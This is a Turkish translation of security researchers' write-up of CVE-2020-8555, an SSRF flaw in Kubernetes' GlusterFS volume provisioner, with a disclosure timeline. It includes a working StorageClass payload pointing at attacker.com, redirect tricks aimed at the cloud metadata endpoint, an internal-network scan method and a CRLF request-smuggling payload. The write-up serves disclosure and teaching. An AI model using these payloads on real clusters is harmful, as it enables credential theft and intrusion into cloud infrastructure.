Konu yalnızca Kubernetes'teki güvenlik açıkları değilse...

Not. tercüme: Bu makalenin yazarları güvenlik açığını nasıl keşfetmeyi başardıkları hakkında ayrıntılı olarak konuşuyor CVE-2020-8555 Kubernetes'te. Başlangıçta çok tehlikeli görünmese de, diğer faktörlerle birlikte kritikliğinin bazı bulut sağlayıcıları için maksimum olduğu ortaya çıktı. Birçok kuruluş uzmanları çalışmaları için cömertçe ödüllendirdi.

Konu yalnızca Kubernetes'teki güvenlik açıkları değilse...

Biz Kimiz

Biz Kubernetes'te bir güvenlik açığını ortaklaşa keşfeden iki Fransız güvenlik araştırmacısıyız. İsimlerimiz Brice Augras ve Christophe Hauquiert, ancak birçok Bug Bounty platformunda sırasıyla Reeverzax ve Hach olarak biliniyoruz:

Ne oldu?

Bu makale, sıradan bir araştırma projesinin nasıl beklenmedik bir şekilde böcek avcılarının (en azından şimdilik) hayatındaki en heyecan verici maceraya dönüştüğünü paylaşma şeklimizdir.

Muhtemelen bildiğiniz gibi, böcek avcılarının birkaç dikkate değer özelliği vardır:

  • pizza ve birayla yaşıyorlar;
  • herkes uyurken çalışırlar.

Biz de bu kuralların bir istisnası değiliz: Genellikle hafta sonları buluşuruz ve uykusuz gecelerimizi bilgisayar korsanlığı yaparak geçiririz. Ancak bu gecelerden biri çok alışılmadık bir şekilde sona erdi.

Başlangıçta katılımı tartışmak için buluşacaktık. CTF sonraki gün. Yönetilen hizmet ortamında Kubernetes güvenliğiyle ilgili sohbet sırasında eski SSRF fikrini hatırladık (Sunucu Tarafı İstek Sahteciliği) ve bunu bir saldırı betiği olarak kullanmayı denemeye karar verdim.

Saat 11'te araştırmamızı yapmak için oturduk ve sonuçlardan çok memnun kalarak sabah erkenden yattık. Bu araştırma sayesinde MSRC Bug Bounty programıyla karşılaştık ve bir ayrıcalık yükseltme açığı bulduk.

Birkaç hafta/ay geçti ve beklenmedik sonucumuz, Kubernetes'ten aldığımız ödüle ek olarak Azure Bulut Hata Ödülü tarihindeki en yüksek ödüllerden biriyle sonuçlandı!

Araştırma projemize dayanarak Kubernetes Ürün Güvenliği Komitesi şunları yayınladı: CVE-2020-8555.

Şimdi bulunan güvenlik açığıyla ilgili bilgileri mümkün olduğunca yaymak istiyorum. Bulmayı takdir edeceğinizi ve teknik ayrıntıları infosec topluluğunun diğer üyeleriyle paylaşacağınızı umuyoruz!

İşte bizim hikayemiz...

Bağlam

Olan biteni en iyi şekilde anlamak için öncelikle Kubernetes'in bulut yönetimli bir ortamda nasıl çalıştığına bakalım.

Böyle bir ortamda bir Kubernetes kümesini başlattığınızda yönetim katmanı genellikle bulut sağlayıcının sorumluluğundadır:

Konu yalnızca Kubernetes'teki güvenlik açıkları değilse...
Kontrol katmanı bulut sağlayıcının çevresinde bulunurken Kubernetes düğümleri müşterinin çevresinde bulunur

Birimleri dinamik olarak tahsis etmek için, bunları harici bir depolama arka ucundan dinamik olarak sağlamak ve PVC ile karşılaştırmak için bir mekanizma kullanılır (kalıcı hacim talebi, yani bir hacim talebi).

Böylece, PVC oluşturulduktan ve K8s kümesindeki StorageClass'a bağlandıktan sonra, birimi sağlamaya yönelik diğer eylemler kube/bulut denetleyici yöneticisi tarafından üstlenilir (tam adı sürüme bağlıdır). (Not. tercüme: Bulut sağlayıcılarından biri için uygulama örneğini kullanarak CCM hakkında zaten daha fazla yazmıştık. burada.)

Kubernetes tarafından desteklenen çeşitli türde provizyon sağlayıcılar vardır: bunların çoğu orkestratör çekirdeğidiğerleri ise kümedeki bölmelere yerleştirilen ek sağlayıcılar tarafından yönetilir.

Araştırmamızda aşağıda gösterilen iç hacim sağlama mekanizmasına odaklandık:

Konu yalnızca Kubernetes'teki güvenlik açıkları değilse...
Yerleşik Kubernetes hazırlayıcıyı kullanarak birimlerin dinamik sağlanması

Kısacası Kubernetes yönetilen bir ortamda konuşlandırıldığında denetleyici yöneticisi bulut sağlayıcının sorumluluğundadır ancak birim oluşturma isteği (yukarıdaki diyagramda 3 numara) bulut sağlayıcının dahili ağından ayrılır. İşte işlerin gerçekten ilginçleştiği yer burası!

Bilgisayar korsanlığı senaryosu

Bu bölümde yukarıda bahsettiğimiz iş akışından nasıl faydalandığımızı ve bulut servis sağlayıcının iç kaynaklarına nasıl ulaştığımızı anlatacağız. Ayrıca, dahili kimlik bilgileri alma veya ayrıcalıkları yükseltme gibi belirli eylemleri nasıl gerçekleştirebileceğinizi de gösterecektir.

Basit bir manipülasyon (bu durumda Hizmet Tarafı Talep Sahteciliği), istemci ortamının ötesine geçerek yönetilen K8'ler altındaki çeşitli hizmet sağlayıcı kümelerine geçmeye yardımcı oldu.

Araştırmamızda GlusterFS sağlayıcısına odaklandık. Bu bağlamda diğer eylem sırası açıklanmış olmasına rağmen Quobyte, StorageOS ve ScaleIO aynı güvenlik açığından etkilenebilir.

Konu yalnızca Kubernetes'teki güvenlik açıkları değilse...
Dinamik birim sağlama mekanizmasının kötüye kullanılması

Depolama sınıfı analizi sırasında GlusterFS Golang istemci kaynak kodunda biz farkbirim oluşturma sırasında gönderilen ilk HTTP isteğinde (3), parametredeki özel URL'nin sonuna kadar resturl eklendi /volumes.

Bu ek yoldan şunu ekleyerek kurtulmaya karar verdik: # parametrede resturl. Yarı kör SSRF güvenlik açığını test etmek için kullandığımız ilk YAML yapılandırmasını burada bulabilirsiniz (yarı kör veya yarı kör SSRF hakkında daha fazla bilgi edinebilirsiniz; örneğin, burada - yaklaşık. çeviri.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Daha sonra ikiliyi Kubernetes kümesini uzaktan yönetmek için kullandık Kubectl. Genellikle bulut sağlayıcıları (Azure, Google, AWS vb.) bu yardımcı programda kullanmak üzere kimlik bilgileri almanıza olanak tanır.

Bu sayede “özel” dosyamı kullanabildim. Kube-denetleyici-yönetici sonuçta ortaya çıkan HTTP isteğini yürüttü:

kubectl create -f sc-poc.yaml

Konu yalnızca Kubernetes'teki güvenlik açıkları değilse...
Saldırganın bakış açısından cevap

Bundan kısa bir süre sonra, komutlar aracılığıyla hedef sunucudan bir HTTP yanıtı da alabildik. describe pvc veya get events kubectl'de. Ve aslında: bu varsayılan Kubernetes sürücüsü, uyarı/hata mesajlarında çok ayrıntılı ...

İşte bağlantısı olan bir örnek https://www.google.frparametre olarak ayarla resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Konu yalnızca Kubernetes'teki güvenlik açıkları değilse...

Bu yaklaşımda, aşağıdaki gibi sorgularla sınırlıydık: HTTP GÖNDERİ ve dönüş kodu şu şekildeyse yanıt gövdesinin içeriğini alamadım: 201. Bu nedenle ek araştırmalar yapmaya karar verdik ve bu hackleme senaryosunu yeni yaklaşımlarla genişlettik.

Araştırmamızın gelişimi

  • Gelişmiş Senaryo #1: Dahili verileri toplamanın daha esnek bir yolunu sağlamak amacıyla HTTP yöntemini değiştirmek için harici bir sunucudan 302 yönlendirmesi kullanmak.
  • Gelişmiş Senaryo #2: LAN taramasını ve dahili kaynak bulmayı otomatikleştirin.
  • Gelişmiş senaryo #3: özelleştirilmiş HTTP istekleri oluşturmak ve kube denetleyici günlüklerinden çıkarılan verileri almak için HTTP CRLF + kaçakçılığını ("talep kaçakçılığı") kullanmak.

Teknik özellikler

  • Araştırmada Kuzey Avrupa bölgesinde Kubernetes sürüm 1.12 ile Azure Kubernetes Service (AKS) kullanıldı.
  • Yukarıda açıklanan senaryolar, üçüncü senaryo haricinde Kubernetes'in en son sürümlerinde yürütülmüştür çünkü Golang ≤ 1.12 sürümüyle oluşturulmuş Kubernetes'e ihtiyacı vardı.
  • Saldırganın harici sunucusu - https://attacker.com.

Gelişmiş Senaryo #1: Bir HTTP POST isteğini GET'e yönlendirmek ve hassas verileri almak

Orijinal yöntem, saldırganın sunucusunun geri dönecek şekilde yapılandırılmasıyla geliştirildi. 302 HTTP Yeniden Kodubir POST isteğini GET isteğine dönüştürmek için (şemadaki 4. adım):

Konu yalnızca Kubernetes'teki güvenlik açıkları değilse...

İstemciden gelen ilk istek (3) GlusterFS (Denetleyici Yöneticisi), POST türüne sahiptir. Bu adımları izleyerek onu bir GET'e dönüştürmeyi başardık:

  • parametre olarak resturl StorageClass'ta belirtilir http://attacker.com/redirect.php.
  • Son nokta https://attacker.com/redirect.php aşağıdaki Konum Başlığına sahip bir 302 HTTP durum koduyla yanıt verir: http://169.254.169.254. Bu başka herhangi bir dahili kaynak olabilir; bu durumda yönlendirme bağlantısı yalnızca örnek olarak kullanılmıştır.
  • Varsayılan olarak net/http kütüphanesi Golang, isteği yeniden yönlendirir ve POST'u 302 durum koduna sahip bir GET'e dönüştürür, bu da hedef kaynağa bir HTTP GET isteğiyle sonuçlanır.

HTTP yanıt gövdesini okumak için yapmanız gerekenler describe PVC nesne:

kubectl describe pvc xxx

JSON formatında alabildiğimiz bir HTTP yanıtının örneğini burada bulabilirsiniz:

Konu yalnızca Kubernetes'teki güvenlik açıkları değilse...

O dönemde bulunan güvenlik açığının yetenekleri aşağıdaki noktalardan dolayı sınırlıydı:

  • Giden isteğe HTTP üstbilgileri eklenemiyor.
  • Gövdedeki parametrelerle POST isteğinin gerçekleştirilememesi (bu, üzerinde çalışan bir etcd örneğinden anahtar değerinin istenmesi uygundur) 2379 şifrelenmemiş HTTP kullanılıyorsa bağlantı noktası).
  • Durum kodu 200 olduğunda ve yanıtta bir JSON İçerik Türü bulunmadığında yanıt gövdesi içeriğinin alınamaması.

Gelişmiş senaryo #2: Yerel ağı tarama

Bu yarı kör SSRF yöntemi daha sonra bulut sağlayıcının dahili ağını taramak ve yanıtlara göre çeşitli dinleme hizmetlerini (Meta veri örneği, Kubelet, vb.) sorgulamak için kullanıldı. kube denetleyicisi.

Konu yalnızca Kubernetes'teki güvenlik açıkları değilse...

Öncelikle Kubernetes bileşenlerinin standart dinleme portları belirlendi (8443, 10250, 10251 vb.) ve ardından tarama sürecini otomatikleştirmemiz gerekiyordu.

Bu kaynak tarama yönteminin çok spesifik olduğunu ve klasik tarayıcılar ve SSRF araçlarıyla uyumlu olmadığını görünce, tüm süreci otomatikleştiren bir bash betiğinde kendi çalışanlarımızı oluşturmaya karar verdik.

Örneğin, dahili ağın 172.16.0.0/12 aralığını hızlı bir şekilde taramak için 15 çalışan paralel olarak başlatıldı. Yukarıdaki IP aralığı yalnızca örnek olarak seçilmiştir ve belirli hizmet sağlayıcınızın IP aralığına göre değişebilir.

Bir IP adresini ve bir bağlantı noktasını taramak için aşağıdakileri yapmanız gerekir:

  • son kontrol edilen StorageClass'ı silin;
  • önceki doğrulanmış Kalıcı Hacim Talebini kaldırmak;
  • IP ve Port değerlerini değiştirin sc.yaml;
  • yeni bir IP ve bağlantı noktasına sahip bir StorageClass oluşturun;
  • yeni bir PVC oluşturun;
  • PVC için açıklamayı kullanarak tarama sonuçlarını çıkarın.

Gelişmiş senaryo #3: CRLF enjeksiyonu + Kubernetes kümesinin "eski" sürümlerinde HTTP kaçakçılığı

Buna ek olarak sağlayıcı müşterilere K8s kümesinin eski sürümlerini sunmuşsa и onlara kube-denetleyici-yönetici kayıtlarına erişim sağladıktan sonra etki daha da önemli hale geldi.

Bir saldırganın kendi takdirine bağlı olarak tam bir HTTP yanıtı elde etmek üzere tasarlanmış HTTP isteklerini değiştirmesi aslında çok daha uygundur.

Konu yalnızca Kubernetes'teki güvenlik açıkları değilse...

Son senaryoyu uygulamak için aşağıdaki koşulların karşılanması gerekiyordu:

  • Kullanıcının kube-denetleyici-yönetici günlüklerine erişimi olmalıdır (örneğin, Azure LogInsights'ta).
  • Kubernetes kümesinin 1.12'den daha düşük bir Golang sürümü kullanması gerekir.

GlusterFS Go istemcisi ile sahte bir hedef sunucu arasındaki iletişimi simüle eden yerel bir ortam kurduk (şimdilik PoC'yi yayınlamaktan kaçınacağız).

Bulundu Güvenlik açığı1.12'den düşük Golang sürümlerini etkiliyor ve bilgisayar korsanlarının HTTP kaçakçılığı/CRLF saldırıları gerçekleştirmesine olanak tanıyor.

Yukarıda açıklanan yarı kör SSRF'yi birleştirerek birlikte bununla, kube-controller-manager'ın daha sonra işlediği başlıkları, HTTP yöntemini, parametreleri ve verileri değiştirmek de dahil olmak üzere beğenimize istekler gönderebildik.

İşte bir parametrede çalışan bir "yem" örneği resturl Benzer bir saldırı senaryosunu uygulayan StorageClass:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Sonuç bir hatadır istenmeyen yanıt, denetleyici günlüklerine kaydedilen bir mesaj. Varsayılan olarak etkinleştirilen ayrıntı özelliği sayesinde, HTTP yanıt mesajının içeriği de buraya kaydedilir.

Konu yalnızca Kubernetes'teki güvenlik açıkları değilse...

Bu bizim kavram ispatı çerçevesindeki en etkili “yemimiz”di.

Bu yaklaşımı kullanarak, çeşitli yönetilen k8s sağlayıcılarının kümelerine yönelik aşağıdaki saldırılardan bazılarını gerçekleştirmeyi başardık: meta veri örneklerinde kimlik bilgileriyle ayrıcalık yükseltme, vbd ana örneklerinde (şifrelenmemiş) HTTP istekleri aracılığıyla Master DoS, vb.

Sonrası

Keşfettiğimiz SSRF güvenlik açığına ilişkin Kubernetes resmi açıklamasında, CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Yalnızca Kubernetes çevresi ile ilişkili güvenlik açığını dikkate alırsak bütünlük vektörü (bütünlük vektörü) şu şekilde nitelendirilir: Hayır.

Ancak, yönetilen hizmet ortamı bağlamında olası sonuçların değerlendirilmesi (ve bu araştırmamızın en ilginç kısmıydı!) bizi güvenlik açığını bir derecelendirmeye göre yeniden sınıflandırmaya yöneltti. Kritik CVSS10/10 birçok distribütör için.

Bulut ortamlarındaki potansiyel etkileri değerlendirirken dikkate aldığımız hususları anlamanıza yardımcı olacak ek bilgileri aşağıda bulabilirsiniz:

bütünlük

  • Edinilen dahili kimlik bilgilerini kullanarak komutları uzaktan yürütün.
  • Yukarıdaki senaryonun IDOR (Güvensiz Doğrudan Nesne Referansı) yöntemini kullanarak yerel ağda bulunan diğer kaynaklarla çoğaltılması.

Gizlilik

  • Saldırı türü Yanal Hareket bulut kimlik bilgilerinin çalınması sayesinde (örneğin, meta veri API'si).
  • Yerel ağı tarayarak bilgi toplamak (SSH sürümünün, HTTP sunucusu sürümünün belirlenmesi, ...).
  • Meta veri API'si gibi dahili API'leri yoklayarak örnek ve altyapı bilgilerini toplayın (http://169.254.169.254,…).
  • Bulut kimlik bilgilerini kullanarak müşteri verilerini çalmak.

Durumu

Saldırı vektörleriyle ilgili tüm yararlanma senaryoları bütünlük, yıkıcı eylemler için kullanılabilir ve istemci çevresinden (veya başka herhangi bir yerden) ana örneklerin kullanılamamasına yol açabilir.

Yönetilen bir K8s ortamında olduğumuz ve bütünlük üzerindeki etkiyi değerlendirdiğimiz için kullanılabilirliği etkileyebilecek birçok senaryo hayal edebiliyoruz. Ek örnekler arasında, etcd veritabanının bozulması veya Kubernetes API'sine kritik bir çağrı yapılması yer alır.

kronoloji

  • 6 Aralık 2019: Güvenlik açığı MSRC Bug Bounty'ye bildirildi.
  • 3 Ocak 2020: Üçüncü bir taraf, Kubernetes geliştiricilerine bir güvenlik sorunu üzerinde çalıştığımızı bildirdi. Ve onlardan SSRF'yi dahili (temel) bir güvenlik açığı olarak değerlendirmelerini istedik. Daha sonra sorunun kaynağına ilişkin teknik detayların yer aldığı genel bir rapor sunduk.
  • 15 Ocak 2020: Talepleri üzerine Kubernetes geliştiricilerine (HackerOne platformu aracılığıyla) teknik ve genel raporlar sunduk.
  • 15 Ocak 2020: Kubernetes geliştiricileri, geçmiş sürümler için yarı kör SSRF + CRLF enjeksiyonunun çekirdek içi bir güvenlik açığı olarak değerlendirildiğini bize bildirdi. Diğer hizmet sağlayıcıların sınırlarını analiz etmeyi hemen bıraktık: K8s ekibi artık temel nedenle ilgileniyordu.
  • 15 Ocak 2020: MSRC ödülü HackerOne aracılığıyla alındı.
  • 16 Ocak 2020: Kubernetes PSC (Ürün Güvenliği Komitesi) güvenlik açığını fark etti ve çok sayıda potansiyel kurban nedeniyle bunun Mart ortasına kadar gizli tutulmasını istedi.
  • 11 Şubat 2020: Google VRP ödülü alındı.
  • 4 Mart 2020: Kubernetes ödülü HackerOne aracılığıyla alındı.
  • 15 Mart 2020: Başlangıçta planlanan kamuya açıklama, COVID-19 durumu nedeniyle ertelendi.
  • 1 Haziran 2020: Kubernetes + Microsoft'un güvenlik açığına ilişkin ortak açıklaması.

TL; DR

  • Bira içeriz ve pizza yeriz :)
  • Bunu yapmak gibi bir niyetimiz olmasa da Kubernetes'te çekirdekte bir güvenlik açığı keşfettik.
  • Farklı bulut sağlayıcılarının kümeleri üzerinde ek analizler yaptık ve ek harika bonuslar almak için güvenlik açığının neden olduğu hasarı artırmayı başardık.
  • Bu yazımızda pek çok teknik detay bulacaksınız. Bunları sizinle tartışmaktan memnuniyet duyarız (Twitter: @ReeverZax & @__hach_).
  • Her türlü formalitenin ve raporlamanın beklenenden çok daha uzun sürdüğü ortaya çıktı.

referanslar

çevirmenden PS

Blogumuzda da okuyun:

Kaynak: habr.com

Yorum ekle